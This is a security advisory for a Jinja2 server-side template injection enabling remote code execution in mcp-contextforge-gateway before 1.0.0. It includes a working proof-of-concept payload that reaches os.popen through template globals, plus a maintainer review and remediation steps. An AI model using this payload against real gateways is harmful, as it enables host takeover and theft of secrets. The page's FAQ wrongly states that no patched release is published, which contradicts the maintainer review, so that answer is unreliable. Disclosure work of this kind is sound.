GHSA-vwf3-4xxj-qg6h: Code Injection

Published Aug 25, 2026
·
Updated

Summary

mcpgateway.services.promptservice.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

Details

Affected component: mcpgateway/services/promptservice.py Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.

Vulnerable code

mcpgateway/services/promptservice.py, line 26:

python from jinja2 import Environment, meta, selectautoescape

mcpgateway/services/promptservice.py, line 135 (inside PromptService.init):

python self.jinjaenv = Environment( autoescape=selectautoescape(["html", "xml"]), trimblocks=True, lstripblocks=True, )

mcpgateway/services/promptservice.py, lines 1592–1616 (rendertemplate):

python def rendertemplate(self, template: str, arguments: Dict[str, str]) -> str: ... try: jinjatemplate = self.jinjaenv.fromstring(template) return jinjatemplate.render(arguments) except Exception: try: return template.format(arguments) except Exception as e: raise PromptError(f"Failed to render template: {str(e)}")

rendertemplate is invoked from PromptService.getprompt (line 892):

python rendered = self.rendertemplate(prompt.template, arguments)

Where prompt.template is loaded from the database. The template field of the database row is populated via the registerprompt, updateprompt, and registerpromptsbulk API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because self.jinjaenv is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to builtins.import and calls os.popen (or any equivalent chain) executes arbitrary code at render time.

PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

Setup

bash pip install mcp-contextforge-gateway==0.9.0

Reproducer (poc.py)

python import os import warnings

with warnings.catchwarnings(): warnings.simplefilter("ignore") from mcpgateway.services.promptservice import PromptService

import mcpgateway print(f"[+] mcpgateway version: {mcpgateway.version}")

PROOF = os.path.abspath("MCPGATEWAYRCEPROOF.txt") if os.path.exists(PROOF): os.remove(PROOF)

service = PromptService() print(f"[+] PromptService.jinjaenv type: {type(service.jinjaenv).name}")

payload = ( "{{ self.init.globals.builtins" ".import('os').popen('echo MCPGATEWAYRCE > " + PROOF.replace('\\', '/') + "').read() }}" )

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}") service.rendertemplate(payload, {}) print(f"[+] PROOF exists after render: {os.path.exists(PROOF)}")

if os.path.exists(PROOF): with open(PROOF) as f: print(f"[+] PROOF contents: {f.read().strip()!r}")

Verified output

[+] mcpgateway version: 0.9.0 [+] PromptService.jinjaenv type: Environment [+] PROOF exists before render: False [+] PROOF exists after render: True [+] PROOF contents: 'MCPGATEWAYRCE'

The file MCPGATEWAYRCEPROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAYRCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

End-to-end via the API

A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.

Impact

This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.

Successful exploitation yields:

- Arbitrary command execution on the gateway host with the gateway process's privileges - Read/write access to the gateway's filesystem - Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials) - Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints) - Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

Affected user populations:

- Any deployment running a published version of mcp-contextforge-gateway from PyPI - Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants - CI/CD pipelines that programmatically register prompt templates from untrusted sources - Deployments that import or sync prompt definitions from external registries

Suggested remediation requests:

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts 2. Publish the patched release to PyPI so pip install --upgrade returns a fixed version 3. Mark the relevant CHANGELOG.md entry as a security fix and add an upgrade-urgency note in SECURITY.md for users still on affected versions

---

Maintainer review (accepted)

Reproduced and accepted. Findings from the maintainer's review:

Confirmed valid (SSTI → RCE). In mcpgateway/services/promptservice.py as published in v0.9.0 (and all earlier releases), rendertemplate() runs Environment().fromstring(template).render(args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the builtins.import('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in getprompt() → rendertemplate(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.

Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).

Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.

Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, contentsecurity.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.

Affected Software

1 affected componentFixes available
pip/mcp-contextforge-gateway<1.0.0
1.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/mcp-contextforge-gateway to a version that resolves this vulnerability.

    Fixed in 1.0.0
  2. Upgrade

    Upgrade mcp-contextforge-gateway to a version that resolves this vulnerability.

    Fixed in >= 1.0.0
  3. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Patch 4d3100466
  4. Configuration

    Update PromptService to use `jinja2.sandbox.SandboxedEnvironment` instead of a plain `jinja2.Environment` so that `_render_template()` does not render untrusted `prompt.template` with unrestricted attribute traversal/function calls (v0.9.0 used `Environment().from_string(template).render(**args)`).

    mcpgateway/services/prompt_service.py (PromptService) _jinja_env = SandboxedEnvironment
  5. Compensating control

    Restrict prompt registration/update capabilities (POST /prompts, PUT /prompts/{id}, and bulk register) so only trusted authenticated principals/roles can supply or modify the `template` field, since exploitation requires authenticated API access with `prompts.create`/`prompts.update` permissions.

Event History

Aug 25, 2026
Advisory Published
via GitHub·05:42 PM
Data Sourced
via GitHub·05:42 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which users can exploit this issue?

An attacker must be authenticated and have permission to register or update prompt templates. Users without those template-management permissions are not identified as able to introduce the malicious template.

2

What level of access could successful exploitation provide?

A malicious stored template can execute arbitrary Python code when it is later rendered. That code runs on the gateway host with the privileges of the gateway process.

3

Which versions are affected, and is a fixed release identified?

Version 0.9.0 is verified as affected, and the available information indicates that all earlier published versions are also affected. The fix is described as being on the unreleased main branch; no patched published version is identified.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203